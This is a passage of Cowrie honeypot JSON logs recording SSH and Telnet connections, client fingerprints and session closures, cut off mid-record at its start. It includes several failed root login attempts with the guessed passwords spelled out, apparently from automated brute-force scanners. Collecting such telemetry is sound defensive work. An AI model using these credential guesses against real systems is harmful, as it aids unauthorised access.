sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.705610Z","src_ip":"109.172.54.111","session":"a62d328ee866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kille","message":"login attempt [root/kille] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.994844Z","src_ip":"109.172.54.111","session":"a62d328ee866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:02.681564Z","src_ip":"103.149.28.157","session":"524c4a11aa84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:03.099085Z","src_ip":"109.172.54.111","session":"a62d328ee866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34038,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce80dbb0715","protocol":"telnet","message":"New connection: 135.148.14.151:34038 (159.203.135.109:23) [session: 1ce80dbb0715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:08.747406Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57232,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3c64d0fb572","protocol":"telnet","message":"New connection: 135.148.14.151:57232 (159.203.135.109:23) [session: d3c64d0fb572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:13.994335Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46490,"dst_ip":"159.203.135.109","dst_port":23,"session":"e38932ccbdfd","protocol":"telnet","message":"New connection: 135.148.14.151:46490 (159.203.135.109:23) [session: e38932ccbdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:36.166214Z"}
{"eventid":"cowrie.session.closed","duration":37.52629017829895,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:39.187722Z","src_ip":"135.148.14.151","session":"e1a3512c5a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.20868730545044,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:46.955965Z","src_ip":"135.148.14.151","session":"1ce80dbb0715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51408,"dst_ip":"159.203.135.109","dst_port":23,"session":"105d713547a5","protocol":"telnet","message":"New connection: 135.148.14.151:51408 (159.203.135.109:23) [session: 105d713547a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:47.762718Z"}
{"eventid":"cowrie.session.closed","duration":35.92138457298279,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:49.915595Z","src_ip":"135.148.14.151","session":"d3c64d0fb572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":47706,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3eea4fb5478","protocol":"ssh","message":"New connection: 45.148.10.121:47706 (159.203.135.109:22) [session: c3eea4fb5478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:51.403095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:51.409760Z","src_ip":"45.148.10.121","session":"c3eea4fb5478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:51.545661Z","src_ip":"45.148.10.121","session":"c3eea4fb5478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4505670b640","protocol":"telnet","message":"New connection: 135.148.14.151:60750 (159.203.135.109:23) [session: b4505670b640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:20:08.387791Z"}
{"eventid":"cowrie.session.closed","duration":37.71892023086548,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:20:13.885029Z","src_ip":"135.148.14.151","session":"e38932ccbdfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64431595802307,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:20:21.406916Z","src_ip":"135.148.14.151","session":"105d713547a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20378494262695,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:20:44.591402Z","src_ip":"135.148.14.151","session":"b4505670b640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59886,"dst_ip":"159.203.135.109","dst_port":23,"session":"917d4f02c99c","protocol":"telnet","message":"New connection: 135.148.14.151:59886 (159.203.135.109:23) [session: 917d4f02c99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:16.367885Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.125.231","src_port":35866,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d03dc6f6b2a","protocol":"telnet","message":"New connection: 13.89.125.231:35866 (10.17.0.5:23) [session: 9d03dc6f6b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:17.501502Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49248,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c82723d759","protocol":"ssh","message":"New connection: 77.94.47.83:49248 (159.203.135.109:22) [session: 17c82723d759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:25.636041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:25.644809Z","src_ip":"77.94.47.83","session":"17c82723d759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:25.757829Z","src_ip":"77.94.47.83","session":"17c82723d759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999666333","message":"login attempt [root/999666333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:26.101393Z","src_ip":"77.94.47.83","session":"17c82723d759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:27.216379Z","src_ip":"77.94.47.83","session":"17c82723d759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38920,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e53875f45d0","protocol":"telnet","message":"New connection: 135.148.14.151:38920 (159.203.135.109:23) [session: 1e53875f45d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:27.272092Z"}
{"eventid":"cowrie.session.closed","duration":10.03972315788269,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:27.541104Z","src_ip":"13.89.125.231","session":"9d03dc6f6b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.125.231","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"478b223d3fd8","protocol":"telnet","message":"New connection: 13.89.125.231:42884 (10.17.0.5:23) [session: 478b223d3fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:27.576069Z"}
{"eventid":"cowrie.session.closed","duration":0.050069332122802734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:27.626007Z","src_ip":"13.89.125.231","session":"478b223d3fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55740,"dst_ip":"159.203.135.109","dst_port":22,"session":"95eb954d6df5","protocol":"ssh","message":"New connection: 103.27.238.116:55740 (159.203.135.109:22) [session: 95eb954d6df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.164599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.170408Z","src_ip":"103.27.238.116","session":"95eb954d6df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34694,"dst_ip":"159.203.135.109","dst_port":22,"session":"4872e23eff3e","protocol":"ssh","message":"New connection: 103.27.238.120:34694 (159.203.135.109:22) [session: 4872e23eff3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.210868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.217272Z","src_ip":"103.27.238.120","session":"4872e23eff3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.441481Z","src_ip":"103.27.238.116","session":"95eb954d6df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:40.494505Z","src_ip":"103.27.238.120","session":"4872e23eff3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ariadna","message":"login attempt [root/ariadna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:41.277258Z","src_ip":"103.27.238.116","session":"95eb954d6df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"auditt","message":"login attempt [root/auditt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:41.325255Z","src_ip":"103.27.238.120","session":"4872e23eff3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:42.545899Z","src_ip":"103.27.238.116","session":"95eb954d6df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:42.604619Z","src_ip":"103.27.238.120","session":"4872e23eff3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.982008934020996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:21:47.349567Z","src_ip":"135.148.14.151","session":"917d4f02c99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.216835260391235,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:06.488783Z","src_ip":"135.148.14.151","session":"1e53875f45d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34158,"dst_ip":"159.203.135.109","dst_port":22,"session":"54d84b5dcb0b","protocol":"ssh","message":"New connection: 194.59.206.2:34158 (159.203.135.109:22) [session: 54d84b5dcb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:18.355294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:18.369801Z","src_ip":"194.59.206.2","session":"54d84b5dcb0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:18.452620Z","src_ip":"194.59.206.2","session":"54d84b5dcb0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:18.542817Z","src_ip":"194.59.206.2","session":"54d84b5dcb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59556,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5ab273d953","protocol":"ssh","message":"New connection: 103.82.20.28:59556 (159.203.135.109:22) [session: 1e5ab273d953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:20.972304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:20.977003Z","src_ip":"103.82.20.28","session":"1e5ab273d953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:21.225402Z","src_ip":"103.82.20.28","session":"1e5ab273d953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz2108","message":"login attempt [root/vaz2108] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:21.973277Z","src_ip":"103.82.20.28","session":"1e5ab273d953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:23.225161Z","src_ip":"103.82.20.28","session":"1e5ab273d953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f515ddfb066c","protocol":"telnet","message":"New connection: 135.148.14.151:43452 (159.203.135.109:23) [session: f515ddfb066c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:40.635024Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46908,"dst_ip":"159.203.135.109","dst_port":23,"session":"607300c4e60e","protocol":"telnet","message":"New connection: 135.148.14.151:46908 (159.203.135.109:23) [session: 607300c4e60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:48.526142Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45178,"dst_ip":"159.203.135.109","dst_port":23,"session":"eec626856df7","protocol":"telnet","message":"New connection: 135.148.14.151:45178 (159.203.135.109:23) [session: eec626856df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:51.550955Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47852,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfb955703b1","protocol":"telnet","message":"New connection: 135.148.14.151:47852 (159.203.135.109:23) [session: 4cfb955703b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:22:51.798822Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12984,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6265c0463a","protocol":"ssh","message":"New connection: 87.251.64.176:12984 (10.17.0.5:22) [session: 0a6265c0463a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:01.750410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:01.757219Z","src_ip":"87.251.64.176","session":"0a6265c0463a","protocol":"ssh"}
